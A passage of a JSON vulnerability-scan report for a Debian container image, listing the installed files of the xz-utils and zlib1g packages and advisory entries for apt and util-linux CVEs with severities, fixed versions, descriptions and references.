"/usr/bin/xzless", "/usr/bin/xzmore", "/usr/share/doc/xz-utils/AUTHORS", "/usr/share/doc/xz-utils/NEWS.gz", "/usr/share/doc/xz-utils/README.Debian", "/usr/share/doc/xz-utils/README.gz", "/usr/share/doc/xz-utils/THANKS.gz", "/usr/share/doc/xz-utils/changelog.Debian.gz", "/usr/share/doc/xz-utils/changelog.gz", "/usr/share/doc/xz-utils/copyright", "/usr/share/doc/xz-utils/faq.txt.gz", "/usr/share/doc/xz-utils/history.txt.gz", "/usr/share/locale/ca/LC_MESSAGES/xz.mo", "/usr/share/locale/cs/LC_MESSAGES/xz.mo", "/usr/share/locale/da/LC_MESSAGES/xz.mo", "/usr/share/locale/de/LC_MESSAGES/xz.mo", "/usr/share/locale/eo/LC_MESSAGES/xz.mo", "/usr/share/locale/es/LC_MESSAGES/xz.mo", "/usr/share/locale/fi/LC_MESSAGES/xz.mo", "/usr/share/locale/fr/LC_MESSAGES/xz.mo", "/usr/share/locale/hr/LC_MESSAGES/xz.mo", "/usr/share/locale/hu/LC_MESSAGES/xz.mo", "/usr/share/locale/it/LC_MESSAGES/xz.mo", "/usr/share/locale/ka/LC_MESSAGES/xz.mo", "/usr/share/locale/ko/LC_MESSAGES/xz.mo", "/usr/share/locale/nl/LC_MESSAGES/xz.mo", "/usr/share/locale/pl/LC_MESSAGES/xz.mo", "/usr/share/locale/pt/LC_MESSAGES/xz.mo", "/usr/share/locale/pt_BR/LC_MESSAGES/xz.mo", "/usr/share/locale/ro/LC_MESSAGES/xz.mo", "/usr/share/locale/sr/LC_MESSAGES/xz.mo", "/usr/share/locale/sv/LC_MESSAGES/xz.mo", "/usr/share/locale/tr/LC_MESSAGES/xz.mo", "/usr/share/locale/uk/LC_MESSAGES/xz.mo", "/usr/share/locale/vi/LC_MESSAGES/xz.mo", "/usr/share/locale/zh_CN/LC_MESSAGES/xz.mo", "/usr/share/locale/zh_TW/LC_MESSAGES/xz.mo", "/usr/share/man/de/man1/lzmainfo.1.gz", "/usr/share/man/de/man1/xz.1.gz", "/usr/share/man/de/man1/xzless.1.gz", "/usr/share/man/fr/man1/lzmainfo.1.gz", "/usr/share/man/fr/man1/xz.1.gz", "/usr/share/man/fr/man1/xzless.1.gz", "/usr/share/man/it/man1/lzmainfo.1.gz", "/usr/share/man/it/man1/xz.1.gz", "/usr/share/man/it/man1/xzless.1.gz", "/usr/share/man/ko/man1/lzmainfo.1.gz", "/usr/share/man/ko/man1/xz.1.gz", "/usr/share/man/ko/man1/xzless.1.gz", "/usr/share/man/man1/lzmainfo.1.gz", "/usr/share/man/man1/xz.1.gz", "/usr/share/man/man1/xzdiff.1.gz", "/usr/share/man/man1/xzgrep.1.gz", "/usr/share/man/man1/xzless.1.gz", "/usr/share/man/man1/xzmore.1.gz", "/usr/share/man/pt_BR/man1/lzmainfo.1.gz", "/usr/share/man/pt_BR/man1/xz.1.gz", "/usr/share/man/pt_BR/man1/xzless.1.gz", "/usr/share/man/ro/man1/lzmainfo.1.gz", "/usr/share/man/ro/man1/xz.1.gz", "/usr/share/man/ro/man1/xzless.1.gz", "/usr/share/man/sr/man1/lzmainfo.1.gz", "/usr/share/man/sr/man1/xz.1.gz", "/usr/share/man/sr/man1/xzless.1.gz", "/usr/share/man/uk/man1/lzmainfo.1.gz", "/usr/share/man/uk/man1/xz.1.gz", "/usr/share/man/uk/man1/xzless.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "zlib1g@1:1.3.dfsg+really1.3.1-1+b1", "Name": "zlib1g", "Identifier": { "PURL": "pkg:deb/debian/zlib1g@1.3.dfsg%2Breally1.3.1-1%2Bb1?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "6f0e3b7df83b1702" }, "Version": "1.3.dfsg+really1.3.1", "Release": "1+b1", "Epoch": 1, "Arch": "amd64", "SrcName": "zlib", "SrcVersion": "1.3.dfsg+really1.3.1", "SrcRelease": "1", "SrcEpoch": 1, "Licenses": [ "Zlib" ], "Maintainer": "Mark Brown \u003cbroonie@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libz.so.1.3.1", "/usr/share/doc/zlib1g/changelog.Debian.amd64.gz", "/usr/share/doc/zlib1g/changelog.Debian.gz", "/usr/share/doc/zlib1g/changelog.gz", "/usr/share/doc/zlib1g/copyright" ], "AnalyzedBy": "dpkg" } ], "Vulnerabilities": [ { "VulnerabilityID": "CVE-2026-109518", "VendorIDs": [ "DSA-6607-1" ], "PkgID": "apt@3.0.3", "PkgName": "apt", "PkgIdentifier": { "PURL": "pkg:deb/debian/apt@3.0.3?arch=amd64\u0026distro=debian-13.3", "UID": "e8bb153de187e22e" }, "InstalledVersion": "3.0.3", "FixedVersion": "3.0.4", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-109518", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:73bd73ed01e26115cbd2b963a90d0b47759029114a1c9fd86f25ed155f283d98", "Title": "apt: apt: Remote code execution via hard link reuse during package download retries", "Description": "On Debian, Ubuntu, and derivative Linux distributions, an on-path attacker who can manipulate the HTTP traffic (including a malicious mirror or proxy) between an APT client and an archive server triggered by a package install can trick the client into installing an attacker-controlled unverified package and achieve remote code execution with root privileges.\n\n\n\nThe vulnerability is caused by the reuse of hard links and requires the client to follow redirects and retry the download of package files. It requires the client to have a non-zero Acquire::Retries configuration setting; the value 3 is the default starting with Debian 12 (bookworm) and Ubuntu 22.04 LTS (Jammy Jellyfish), so older releases are unaffected in a default configuration", "Severity": "HIGH", "CweIDs": [ "CWE-62", "CWE-367" ], "VendorSeverity": { "redhat": 3, "ubuntu": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.1 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/11/04/12", "https://access.redhat.com/security/cve/CVE-2026-109518", "https://lists.debian.org/debian-lts-announce/2026/11/msg00004.html", "https://lists.debian.org/debian-security-announce/2026/msg00526.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-109518", "https://ubuntu.com/blog/apt-vulnerability-fixes-available", "https://ubuntu.com/security/notices/USN-8996-1", "https://www.cve.org/CVERecord?id=CVE-2026-109518" ], "PublishedDate": "2026-11-04T16:17:33.01Z", "LastModifiedDate": "2026-11-05T05:18:19.033Z" }, { "VulnerabilityID": "CVE-2026-53612", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53612", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:2c5ea2da4e49bf7fed3b5cf2101b60b1aedfcda6a836400efb2f4553cb836d37", "Title": "util-linux: util-linux: TOCTOU in the mount program when applying post-mount ownership/mode changes", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility's `hook_owner.c` post-mount hook performs path-based `chmod()` and `lchown()` operations on a previously validated mount target. A local low-privileged user authorized by an `/etc/fstab` entry with `user` or `users` and an `X-mount.mode`, `X-mount.owner`, or `X-mount.group` option can use `renameat2(RENAME_EXCHANGE)` to race a writable ancestor of the target and redirect the privileged ownership or mode change to a root-owned path, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53612", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:96c4f7df6c8afa831d062577e6bf5492ebd35504835dad6c20d75ecea6eb376b", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:7174fa387b967e07c9dce411492fc949bb3e55ceabebdc32dc5a2bf119342781", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:e0c0c985f0c92f2551028f5265bb0845c4205f1d9d1f3ebf99a3c3c6cb295dd6", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "bsdutils@1:2.41-5", "PkgName": "bsdutils", "PkgIdentifier": { "PURL": "pkg:deb/debian/bsdutils@2.41-5?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "5843733a461e6ce1" }, "InstalledVersion": "1:2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:bd853cfc5e6dd879a124467293abd3f671b93edde83226c1265a9ef85fac24bc", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", 